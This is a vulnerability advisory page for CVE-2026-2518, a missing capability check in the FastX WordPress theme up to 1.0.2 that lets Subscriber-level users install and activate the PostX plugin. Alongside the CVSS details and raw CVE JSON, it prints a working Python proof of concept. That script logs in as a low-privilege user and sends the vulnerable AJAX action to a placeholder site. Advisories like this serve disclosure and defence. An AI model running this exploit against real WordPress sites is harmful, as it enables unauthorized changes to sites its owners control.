Security Vulnerability Report
中文
CVE-2026-2518 CVSS 4.3 MEDIUM

CVE-2026-2518

Published: 2026-05-22 05:16:25
Last Modified: 2026-05-22 05:16:25

Description

The FastX theme for WordPress is vulnerable to unauthorized limited plugin installation and activation due to missing capability checks on the 'ultp_install_callback' and 'ultp_activate_callback' functions in all versions up to, and including, 1.0.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install and activate the PostX plugin.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress FastX Theme <= 1.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit Title: WordPress FastX Theme < 1.0.2 - Subscriber+ Plugin Installation # Date: 2026-05-22 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/ # Software Link: https://wordpress.org/themes/fastx/ # Version: <= 1.0.2 # Tested on: WordPress 6.x # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "subscriber" # Low privilege user password = "password123" # Create a session to handle cookies session = requests.Session() # 1. Login to get authenticated cookies login_payload = { "log": username, "pwd": password, "redirect_to": "http://example.com/wp-admin/", "testcookie": "1" } login_response = session.post("http://example.com/wp-login.php", data=login_payload) if "wp-admin" in login_response.text: print("[+] Logged in successfully as Subscriber") # 2. Exploit: Trigger plugin installation via vulnerable callback # The action name is derived from the function name 'ultp_install_callback' exploit_payload = { "action": "ultp_install_callback" } try: exploit_response = session.post(target_url, data=exploit_payload) if exploit_response.status_code == 200: print("[+] Exploit request sent successfully.") print(f"[+] Response: {exploit_response.text}") else: print("[-] Exploit request failed.") except Exception as e: print(f"[-] An error occurred: {e}") else: print("[-] Login failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-2518", "sourceIdentifier": "[email protected]", "published": "2026-05-22T05:16:24.660", "lastModified": "2026-05-22T05:16:24.660", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FastX theme for WordPress is vulnerable to unauthorized limited plugin installation and activation due to missing capability checks on the 'ultp_install_callback' and 'ultp_activate_callback' functions in all versions up to, and including, 1.0.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to install and activate the PostX plugin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://themes.trac.wordpress.org/browser/fastx/1.0.2/classes/Initialization.php#L249", "source": "[email protected]"}, {"url": "https://themes.trac.wordpress.org/browser/fastx/1.0.2/classes/Initialization.php#L264", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6f5c4194-4f97-4f85-af90-e983ba9ce3a6?source=cve", "source": "[email protected]"}]}}